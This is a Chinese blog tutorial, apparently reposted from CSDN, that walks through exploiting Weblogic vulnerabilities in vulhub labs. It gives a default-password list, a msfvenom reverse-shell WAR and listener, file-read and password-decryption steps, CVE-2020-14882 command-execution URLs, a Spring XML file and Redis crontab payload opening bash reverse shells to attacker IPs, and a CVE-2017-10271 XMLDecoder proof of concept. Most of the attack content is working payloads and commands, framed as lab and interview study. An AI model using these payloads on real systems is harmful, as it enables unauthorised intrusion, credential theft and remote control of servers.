0


Weblogic常见漏洞详解

Weblogic简介

Weblogic 是一个基于JavaEE架构的中间件,是用于开发、集成、部署和管理大型分布式为Web应用、网络应用和数据库应用的Java应用服务器。Weblogic由纯Java开发,被广泛应用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。

所以,Weblogic在面试当中被提到频率还蛮高的。

这篇文章以vulhub靶场为辅。

Weblogic弱口令/文件读取漏洞

漏洞原理

这里有两个漏洞。

弱口令漏洞原理是因为在搭建好Weblogic后没有修改后台的默认密码或者密码设置太简单,导致存在弱口令登录,获取服务器管理员权限。

文件读取漏洞是因为对用户输入内容没有进行限制与过滤,导致可以读取任意文件。

环境搭建

先搭建好vulhub环境,没有搭建的可以先看这篇文章kali搭建vulhub。

先进入对应目录

cd vulhub/weblogic/weak_password

启动靶场

docker-compose up -d

访问靶场

http://ip:7001/console

复现过程

这里存在弱口令登录:weblogic/Oracle@123

可以记一下Weblogic常见的弱口令账号密码

用户名:system、weblogic、admin、system、wlcsystem、Weblogic

密码:Weblogic、weblogic、weblogic123、password、security、system、admin、Password、wlcsystem、Oracle@123

也可以将以上常见用户名密码存储在文件里,然后使用BurpSuite的intruder模块进行爆破。

进行爆破,呃...此环境存在登录限制,错误密码5次就会自动锁定,所以爆破失败了...。这就是爆破账号密码的限制之一。重启一下docker和vulhub环境。用弱口令登录,成功登录后台。

然后点击Deployments(部署),点击install(安装),可以看到有一个文件上传入口

这里上传部署文件(即war文件),这里是Java环境,可以用msf工具生成一个木马

msfvenom -p java/meterpreter/reverse_tcp lhost=xxx.xxx.xx.xxx lport=4444 -f war -o java.war

然后上传我们的war文件,一直点下一步按钮直到完成

然后 开启监听

msfconsole    
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.xx.xxx
set LPORT 4444
exploit

接着访问http://ip:7001/java这个url就可以触发木马

前面说过,这里还有一个漏洞,就是任意文件读取漏洞,访问如下url可任意读取文件

http://ip:7001/hello/file.jsp?path= #接文件路径

想知道为什么是这个路径的话,可以用工具扫描。

我们可以借助这个漏洞来读取密文和密钥,由于weblogic密码使用AES加密,它是对称密码,可解密。

weblogic

密文存储文件的绝对路径是/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

密钥存储文件的绝对路径是/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml

SerializedSystemIni.dat是一个二进制文件,使用BurpSuite来读取

选中数据分段的hex,右键保存到文件中,保存为1.dat

获取密钥文件,然后将其复制保存

{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

接下来去进行weblogic密文解密,weblogic解密工具下载链接

java -jar weblogic_decrypt.jar

得到破解结果是Oracle@123,也就是密码。

Weblogic未授权远程命令执行漏洞

漏洞原理

允许未授权的用户绕过管理控制台的权限验证访问后台,进入后台后,又允许任意用户通过HTTP协议执行任意命令。

影响版本

10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

环境搭建

先进入对应目录

cd weblogic/CVE-2020-14882  

启动环境

docker-compose up -d    

访问环境

 http://ip:7001/console 

复现过程

可以用目录扫描工具一步步扫然后访问看有什么页面是有漏洞的

这里直接给出了未授权访问管理员后台的页面

http://ip:7001/console/css/%252e%252e%252fconsole.portal
或
http://ip:7001/console/images/%252e%252e%252fconsole.portal

这里的%252e%252e%252f是经过两次url编码后的../,通过这个就可以实现穿越路径未授权访问后台页面

进入后台管理页面之后,点击部署,发现并没有安装按钮,这是因为通过未授权访问的后台权限过低。

方法一

通过com.tangosol.coherence.mvel2.sh.ShellSession 类实现,这个利用方法只能在Weblogic12.2.1以上版本使用,因为10.3.6版本没有这个类。

com.tangosol.coherence.mvel2.sh.ShellSession

类是 Oracle Coherence 中用于执行 MVEL 表达式的 Shell 会话类,提供了一个交互式的环境,用于在 Coherence 中进行动态表达式的执行

直接访问如下URL,即可执行命令

http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22)

进入容器查看,可以看到这个命令执行成功

方法二

通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 类实现,这个方法对Weblogic的所有版本都有效。该方法需要提前将恶意代码部署在任意网络目录下,当访问该木马文件时即可触发,返回界面任是404界面,但是可以正常反弹。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

类是 WebLogic Server 中重新打包的 Spring Framework的

FileSystemXmlApplicationContext

类,用于在 WebLogic Server 中加载和管理基于 XML 配置文件的 Spring 应用程序上下文。

此方法需要借助XML文件,访问XML文件来执行命令。

构造一个反弹shell的XML文件,shell.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/IP/端口 0>&1]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

然后放在网页文件存储目录下(默认为/var/www/html)

然后开启端口监听和apache2服务,即可访问文件

执行如下URL

http://192.168.15.249:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.15.249/shell.xml(木马文件路径)")

结果如下,反弹成功

修复方法

  • 下载官方补丁进行升级修复
  • 关闭后台/console/console.portal的访问权限
  • 修改后台默认地址

Weblogic SSRF漏洞

漏洞原理

Weblogic的uddi组件实现包中有个ddiexplorer.war文件,其下的SearchPublicReqistries.jsp接口存在SSRF漏洞,可以利用该漏洞可以发送任意HTTP请求,实现攻击内网中Redis等脆弱组件。

影响版本

10.0.2、10.3.6

环境搭建

先进入对应目录

cd vulhub/weblogic/ssrf

启动环境

docker-compose up -d

访问环境

http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

复现过程

f12页面,发现引用了外部链接,那么就有可能存在SSRF漏洞。

点击search,使用BurpSuite抓包

能看到有个operator参数可能存在SSRF漏洞,那修改operator参数用来探测开放IP端口看看

返回状态码,说明主机存活且端口开放;当访问一个不存在的主机或端口时,会返回could not connect over HTTP to server。

确认存在SSRF漏洞,那就利用Redis实现反弹shell(测试环境Redis服务存在未授权访问漏洞)

先看一下docker容器里的Redis的IP地址:

docker ps -a
docker inspect 容器ID

可以通过SSRF漏洞向Redis写入命令(Redis需要以root权限写入),之前我写的Redis文章就有提及,不懂的可以去看看。crontab是一个可以自动执行定时命令的配置文件,通过它来自动执行反弹shell命令。(*****表示每分钟执行一次命令)

set s "\n* * * * * root bash -i >& /dev/tcp/192.168.15.249/4444 0>&1\n"
config set dir /etc/
config set dbfilename crontab
save

对上面命令进行URL编码:

%0D%0A%0D%0Aset%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.15.249%2F4444%200%3E%261%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0A

记得要加上每行的换行符(\r\n,编码后是%0D%0A),这里的开头和结尾也要分别填充上换行符号,不然会和其他代码混合而导致执行不了。

开启端口监听,然后访问payload,好吧,我最终没有成功...(我发现我的Redis主机就不存活,可能是IP错了?)

Weblogic XMLDecoder反序列化漏洞

漏洞原理

WLS-WSAT是Weblogic Server事务管理的一个组件,它使用Java的反序列化机制来处理数据,调用XMLDecoder类将用户传入的XML数据转换成Java对象

在某些情况下攻击者可以构造恶意的序列化数据作为POST请求的一部分发送到Weblogic Server的T3协议端口(默认为7001),并且在请求头中设置一个特殊的“Content-Type”值来触发漏洞。当Weblogic Server处理该请求时,XMLDecoder将恶意的序列化数据反序列为Java对象,并执行其中的恶意代码。

T3协议是Weblogic用于通信的独有的一个协议,Weblogic Server的RMI通信使用它在其他区的Java程序(包括服务端,客户端等)传输数据。

ac ed 00 05是反序列化标志,而在T3每个序列化数据包前面都有fe 01 00 00

影响版本

10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0

环境搭建

先进入对应目录

cd vulhub/weblogic/CVE-2017-10271

启动环境

docker-compose up -d

访问环境

http://ip:7001/wls-wsat/CoordinatorPortType

复现过程

对该页面进行抓包,修改请求方式为POST,添加请求字段Content-Type:text/xml,然后添加如下POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.15.249/5555 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

其中的反弹命令是经过HTML实体编码的,防止XML解析时出现格式错误。

开启监听,成功获取到shell

工具利用

Weblogic-Scan

是一款专门用于扫描和检测Weblogic漏洞的开源工具。该工具可以扫描Weblogic服务器常见漏洞,发现漏洞后需要使用其他工具或其他方法利用漏洞。Weblogic-Scan下载链接

拉取git下载

sudo git clone https://github.com/0xn0ne/weblogicScanner.git
或
sudo proxychains git clone https://github.com/0xn0ne/weblogicScanner.git 

常见指令

-t 对目标地址或文件进行扫描(默认端口为7001)

-v 对指定漏洞名称或CVE编号进行扫描

-o 指定输出结果的路径

-s 强制使用https协议请求

使用过程

如图,+号表示存在漏洞,-号表示不存在此漏洞。

总结

  • Weblogic中间件常见漏洞文章讲了任意文件读取和弱口令登录、未授权访问后台和HTTP请求远程代码执行、SSRF利用、XMLDecoder反序列化漏洞
  • 弱口令登录时因为Weblogic账号密码设置过于简单,任意文件读取是因为没有过滤和限制输入和访问,Weblogic的密码是通过AES对称加密的,所以可以读取密文文件config.xml和密钥文件SerializedSystemIni.dat
  • 远程代码执行可以使用两个类,第一个类ShellSession,直接构造函数参数然后url访问就可以进行命令执行;第二个类FileSystemXmlApplicationContext,需要借助存储有POC的XML文件,提前部署到被攻击者网站下任意目录,然后访问才能够达到触发效果
  • 存在SSRF漏洞的时候可以利用Redis等进行攻击
  • XMLDecoder反序列化漏洞是因为会调用XMLDecoder来进行讲XML数据反序列化为Java对象,所以可以构造包含恶意文件的XML文件然后上传触发。这里需要将GET方法改为POST方法,增加Content-Type:text/xml
  • Weblogic扫描Weblogic-Scan的使用
标签: web安全 中间件

本文转载自: https://blog.csdn.net/m0_64481831/article/details/136331602
版权归原作者 !!!!!!!!!!!!!!!!. 所有, 如有侵权,请联系我们删除。

“Weblogic常见漏洞详解”的评论:

还没有评论